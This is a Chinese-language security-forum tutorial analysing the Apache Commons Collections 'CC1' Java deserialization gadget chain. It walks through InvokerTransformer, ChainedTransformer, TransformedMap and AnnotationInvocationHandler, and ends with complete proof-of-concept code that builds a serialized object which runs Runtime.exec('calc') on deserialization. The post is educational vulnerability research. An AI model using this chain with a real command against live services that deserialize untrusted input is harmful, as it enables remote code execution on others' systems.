首页
社区
课程
招聘
[原创]CC1利用链分析
发表于: 2024-8-30 15:45 2027

[原创]CC1利用链分析

2024-8-30 15:45
2027

CC是“Commons Collections”的缩写,是 Apache Commons Collections 库的一部分。

实验环境

jdk8u65


maven依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>


Transformer接口

全类名:org.apache.commons.collections.Transformer,是 Apache Commons Collections 库中的一个接口,它定义了如何将一个输入对象转换为另一个输出对象,接口中只声明了一个方法:public Object transform(Object input);

在CC1利用链中需要用到的Transformer实现类有如下几个:

InvokerTransformer

作用:输入一个对象,通过反射调用对象中的方法并返回。

示例:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

在调用transform方法时传入一个Runtime对象,InvokerTransformer会通过反射调用exec方法,来看看它的transform实现:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        // 通过输入的对象获取其Class对象
        Class cls = input.getClass();
        // 通过构造方法传入的方法名和参数类型获取Method对象
        Method method = cls.getMethod(iMethodName, iParamTypes);
        // 反射调用方法
        return method.invoke(input, iArgs);
            
    } 
//    ...
}

ConstantTransformer

它的作用是不管你输入什么,它只给你输出一个由构造器传入的对象:

public Object transform(Object input) {
    return iConstant;
}

ChainedTransformer

链式转换器,可以链式调用多个Transformer,构造器参数是一个Transformer数组,由上一个Transformer的输出作为下一个Transformer的输入。

示例:

new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}).transform(null);

new一个ChainedTransformer,同时传入一个Transformer数组,第一个元素是ConstantTransformer,输出一个Runtime对象,第二个元素是InvokerTransformer,反射调用Runtime的exec方法。

其transform实现:

public Object transform(Object object) {
    // 遍历构造器传入的Transformer数组
    for (int i = 0; i < iTransformers.length; i++) {
        // 上一个Transformer的输出作为下一个Transformer的输入
        object = iTransformers[i].transform(object);
    }
    return object;
}

TransformedMap

org.apache.commons.collections.map.TransformedMap可以对原生Map类型对象做增强,采用了装饰者设计模式,用法如下:

public class TransformedMapExample {

    public static void main(String[] args) {
        // 创建一个原生Map
        Map<String, Integer> baseMap = new HashMap<>();
        baseMap.put("apple", 1);

        // 定义一个转换器,将key转换为小写
        Transformer keyTransformer = new Transformer() {
            @Override
            public String transform(Object input) {
                return input.toString().toLowerCase();
            }
        };

        // 定义一个转换器,将 value × 2
        Transformer valueTransformer = new Transformer() {
            @Override
            public Object transform(Object input) {
                return Integer.valueOf(input + "") * 2;
            }
        };

        // 创建TransformedMap装饰器
        Map<String, Integer> transformedMap = TransformedMap.decorate(baseMap, keyTransformer, valueTransformer);

        // 向装饰后的Map添加元素
        transformedMap.put("GRAPE", 2);

        // 输出Map的内容
        for (Map.Entry<String, Integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }

        // 通过entry设置value
        for (Map.Entry<String, Integer> entry : transformedMap.entrySet()) {
            entry.setValue(3);
        }

        for (Map.Entry<String, Integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }
    }
}

使用原生map时,会原样put键值:

使用transformedMap时,会将key转为小写,value×2

debug看其源码实现,调用put方法时,会先调用transformKey,

然后又调用keyTransformer的transform方法:

继而调用到我们自定义的keyTransformer:

接下来调用transformValue,再调用valueTransformer.transform:

继而调用到自定义的valueTransformer:


还有一种触发valueTransformer的方式是通过entry调用setValue方法:

跟进去这里调用了parent.checkSetValue,parent就是transformedMap:

再步入到checkSetValue中,可见调用了valueTransformer.transform:

构造利用链

cc1链最终就是通过调用ChainedTransformer的transform方法触发RCE,那我们就寻找哪里调用了它,在方法名上按ALT + F7,



这里有上文分析的TransformedMap.checkSetValue方法,点进去:

再按ctrl点击checkSetValue,跳转到AbstractInputCheckedMapDecorator.MapEntry的setValue方法里,


再按ALT + F7,寻找调用setValue的地方:

虽然结果有很多,但是我们要构造的是反序列化利用链,自然要关注readObject方法里的调用,就是这里点进去。



此时来到了AnnotationInvocationHandler类的readObject方法中,这里的memberValue对象调用了setValue方法,而memberValue是memberValues的entrySet中的元素。memberValues是通过构造器传入的,同时传入的还有type:

要想执行到memberValue.setValue,需要满足外层两个条件:

  1. memberType 不等于 null

  2. value不是memberType类的实例

为了理解这段代码,我们需要调试一下,先准备一段测试代码:

@Test
public void test7() throws Exception {
    Map map = new HashMap();
    map.put("value", "hello");
    
    // AnnotationInvocationHandler构造方法不是public属性,需要通过反射获取其构造方法
    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    // 通过反射调用构造器实例化对象,传入@Target的类类型和map
    Object o = constructor.newInstance(Target.class, map);

    SerializableUtils.serializable(o, "ser.bin");
    SerializableUtils.deserialize("ser.bin");
}

public class SerializableUtils {
    public static Object deserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(name));
        Object o = ois.readObject();
        return o;
    }

    public static void serializable(Object o, String name) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(name));
        oos.writeObject(o);
    }
}

上面代码先序列化了一个AnnotationInvocationHandler,然后再反序列化触发readObject方法调用,在readObject方法里打个断点:


这里的type就是我们通过构造器传入的Target.class,Target是一个注解,单步执行一步,此时annotationType已被赋值,其中的memberTypes被设为一个Map对象,key是字符串"value",value是ElementType类型的数组类类型:


为什么key-value是这两种类型?我们点进去Target注解查看,里面有一个方法名value,返回类型是ElementType数组,所以可以推断:AnnotationType的memberTypes的key是注解里的方法名,value是方法返回类型的类类型。


接下来开始遍历memberValues的entrySet,memberValues是我们通过构造器传入的map,里面只有一对key-value:"value"->"hello",这里先获取了entry的key,也就是字符串"value",然后从上一步得到的memberTypes中get这个key:


于是得到了memberTypes中的value,ElementType[]的类类型对象,这里再进行一次判断,判断memberValue的值是不是ElementType[]类型的实例:

memberValue的值是"hello",是字符串类型,很显然不是ElementType[]类型,所以该表达式结果是false,然后 ! 再取反为true,于是就顺利走到了下面的分支:

根据上面的分析,可以得出一个结论:构造AnnotationInvocationHandler时传入一个注解和一个map,其中map的key是注解里的方法名,map的value可以是任意对象,但对象类型要和注解里的方法返回类型不同,这样就能触发memberValue.setValue的调用。


也可以再用其它注解来验证,比如lombok组件有一个注解@Slf4j:

里面的方法名是topic,返回值类型为String,那我们就可以在map中put一个key为"topic",value不是String类型的对象:

map.put("topic", 1);
Object o = constructor.newInstance(Slf4j.class, map);

这样依然可以触发memberValue.setValue 。



回归正题,根据前面的分析,我们的目的是要调用到AbstractInputCheckedMapDecorator.MapEntry的setValue方法,AbstractInputCheckedMapDecorator是一个抽象类,我们看看它有哪些实现:

这个TransformedMap正是我们要找的。


基于以上分析,可以梳理出构造利用链的思路:

  1. 定义一个ChainedTransformer,包含一个ConstantTransformer和一个InvokerTransformer;

  2. 定义一个map,map的key是注解方法名,value随意(只要不和注解方法返回值类型相同);

  3. 使用TransformedMap.decorate增强map,并将chainedTransformer作为valueTransformer传入;

  4. 通过反射实例化一个AnnotationInvocationHandler对象,传入一个注解类类型,和TransformedMap,并将其序列化。

于是写出如下代码:

    @Test
    public void test4() throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        Map<Object, Object> map = new HashMap<>();
        map.put("topic", 1);
        Map decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Slf4j.class, decorateMap);
        
        SerializableUtils.serializable(o, "ser.bin");
        SerializableUtils.deserialize("ser.bin");
    }

不过非常遗憾,报异常了:

java.io.NotSerializableException: java.lang.Runtime

Runtime对象并没有实现Serializable接口,所以不能被序列化,那么就得想办法通过其它办法得到Runtime对象,幸运的是Class类实现了Serializable接口,那就可以通过Class对象间接得到Runtime对象,就像这样:

Method getRuntimeMethod = Runtime.class.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);

所以我们将代码改为:

@Test
public void test4() throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            // 得到Class对象
            new ConstantTransformer(Runtime.class),
            // 通过Class对象反射得到getRuntime方法对象
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            // 反射调用getRuntime方法,得到Runtime对象
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            // 执行Runtime对象的exec方法
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    });

    Map<Object, Object> map = new HashMap<>();
    map.put("topic", 1);
    Map decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Slf4j.class, decorateMap);

    SerializableUtils.serializable(o, "ser.bin");
    SerializableUtils.deserialize("ser.bin");
}

执行可弹出计算器:

参考

【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)


[课程]Linux pwn 探索篇!

最后于 2024-8-30 19:36 被米龙·0xFFFE编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//